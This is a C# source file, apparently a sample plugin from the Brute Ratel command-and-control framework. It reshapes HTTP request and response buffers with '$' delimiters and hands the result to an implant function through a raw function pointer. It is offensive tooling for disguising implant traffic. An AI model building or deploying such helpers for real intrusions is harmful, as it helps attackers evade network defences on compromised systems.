Files
bruteratel/BruteRatel-v2.1.2/adhoc_scripts/mutate_data_sample/modify_http.cs
T
2026-08-27 11:22:43 -06:00

88 lines
3.3 KiB
C#

using System;
using System.Collections.Generic;
using System.Reflection;
using System.Runtime.InteropServices;
public class HttpBufferManager {
// Define a delegate that matches the function signature
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
public delegate void BadgerSetHTTPBufferDelegate(string argument);
public static void ExecutePointer(string argument, string addressString) {
if (string.IsNullOrEmpty(addressString) || string.IsNullOrEmpty(argument)) {
return;
}
// Convert the string representation of the address to an IntPtr
IntPtr address = (IntPtr)Convert.ToInt64(addressString, 16);
// Convert the IntPtr to a delegate
BadgerSetHTTPBufferDelegate BadgerSetHTTPBuffer = (BadgerSetHTTPBufferDelegate)Marshal.GetDelegateForFunctionPointer(address, typeof(BadgerSetHTTPBufferDelegate));
// Invoke the function via the delegate
BadgerSetHTTPBuffer(argument);
}
public static string RemoveDelimiter(string srcBuffer) {
if (string.IsNullOrEmpty(srcBuffer)) {
return null;
}
int length = srcBuffer.Length;
// Allocate a buffer to store the modified string
char[] dst_buffer = new char[length];
int j = 0;
for (int i = 0; i < length; i++) {
// If the current character is not '$', copy it to the new position
if (srcBuffer[i] != '$') {
dst_buffer[j++] = srcBuffer[i];
}
}
// Create a new string from the modified character array and return it
return new string(dst_buffer, 0, j);
}
public static string DelimitBuffer(string src_buffer, int part_size) {
if (string.IsNullOrEmpty(src_buffer) || part_size <= 0) {
return null;
}
// Calculate the number of full parts
int fullPartsCount = src_buffer.Length / part_size;
int remainder = src_buffer.Length % part_size;
// Create an array to hold the parts
string[] parts = new string[fullPartsCount + (remainder > 0 ? 1 : 0)];
// Split the src_buffer into parts
for (int i = 0; i < fullPartsCount; i++) {
parts[i] = src_buffer.Substring(i * part_size, part_size);
}
// Add the remaining part if any
if (remainder > 0) {
parts[fullPartsCount] = src_buffer.Substring(fullPartsCount * part_size);
}
// Join the parts with the delimiter "$"
return string.Join("$", parts);
}
}
namespace ModifyHttp {
class Program {
static void Main(string[] args) {
// argc will be 3
// argv[0] : if string "0", its request; if string "1", its response
// argv[1] : contains request or response buffer depending on argv[0]
// argv[2] : contains pointer for BadgerSetHTTPBuffer (similar to COFF)
string src_buffer = args[1];
string dst_buffer = "";
if (args[0] == "0") {
int part_size = 5;
dst_buffer = HttpBufferManager.DelimitBuffer(src_buffer, part_size);
} else if (args[0] == "1") {
dst_buffer = HttpBufferManager.RemoveDelimiter(src_buffer);
}
if (dst_buffer != "") {
HttpBufferManager.ExecutePointer(dst_buffer, args[2]);
}
}
}
}